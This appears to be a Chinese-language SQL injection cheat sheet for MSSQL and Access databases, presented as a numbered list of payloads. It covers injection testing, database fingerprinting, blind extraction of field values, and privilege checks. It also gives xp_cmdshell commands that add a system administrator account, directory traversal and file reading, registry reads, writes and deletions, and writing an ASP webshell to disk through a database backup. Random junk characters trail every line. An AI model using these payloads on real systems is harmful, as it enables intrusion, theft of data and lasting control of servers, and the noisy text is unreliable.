1.判断是否有注入;and 1=1 ;and 1=2 |?T=4~b
2.初步判断是否是mssql ;and user>0 .-Lrrk)R+
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3.注入参数是字符'and [查询条件] and ''=' Bl b#h
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' sFpg
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5.判断数据库系统 ET}Z>vU}+
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;and (select count(*) from sysobjects)>0 mssql LYDiqOrx
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;and (select count(*) from msysobjects)>0 access TKB8%/_p
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 YV.' L
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Z@zo~*o
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2;v:Z^&
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9.(1)猜字段的ascii值(access) EO !,rB7I
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 KuJ)alD;1
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(2)猜字段的ascii值(mssql) OJ&'Z}LB
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 cGlN*GJ*H
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10.测试权限结构(mssql) `+,?%W)
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]o] VS
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- &|Gg46P7
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- r2RJb6
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- IBa0O|*6
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- n#X~"|U`
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- fI`Ez!w0
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;and 1=(select IS_MEMBER('db_owner'));-- !aT:0m$:9c
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11.添加mssql和系统的帐户 p/Ul[7A4e
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;exec master.dbo.sp_addlogin username;-- 0|AgmW_7
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;exec master.dbo.sp_password null,username,password;-- yJ?=##
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- yQhO-jT
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;exec master.dbo.xp_cmdshell 'net user username password +R*DE5dz
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 9`f@"%h
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- g (w/
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- n-9xfn0U~#
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12.(1)遍历目录 /h53;$zK
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;create table dirs(paths varchar(100), id int) `rn/H;r!Z
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Q/|.=:~FO
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;and (select top 1 paths from dirs)>0 Au2?f~#Fv
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) YrL(4 Nt8
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(2)遍历目录 ,b5'<3\
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- BH'*I
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 qm=U<'b^
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ,>B11Z}PH
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Ck/44Wfej
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7^i7U-A<A
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13.mssql中的存储过程 3wfcGQn|sD
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xp_regenumvalues 注册表根键, 子键 I(M/X/
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 =dQ[I6
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xp_regread 根键,子键,键值名
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;exec xp_regread _*H Hdd5I
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 \ ITd\)F%N
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xp_regwrite 根键,子键, 值名, 值类型, 值 zTc;-,
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Rrh6-]A
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xp_regdeletevalue 根键,子键,值名 [RXLR#
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 3zB'AG3b
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Q\4tzb]
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14.mssql的backup创建webshell g-K;J4 K%
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use model dU3A:uS^
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create table cmd(str image); ?7fqWlB
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insert into cmd(str) values (''); CcUF)$kz
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backup database model to disk='c:\l.asp'; FO/cEu
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15.mssql内置函数 :;_}Gxx
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;and (select @@version)>0 获得Windows的版本号 {ENd]@N*
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa \0~?i6o
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;and (select user_name())>0 爆当前系统的连接用户 <P#BQt f
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;and (select db_name())>0 得到当前连接的数据库 QqQhQ GV
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16.简洁的webshell m]V#fRC
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use model +IS6l*_y>6
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create table cmd(str image); vu)EB!%[
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insert into cmd(str) values (''); {Fwvuk
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backup database model to disk='g:\wwwtest\l.asp';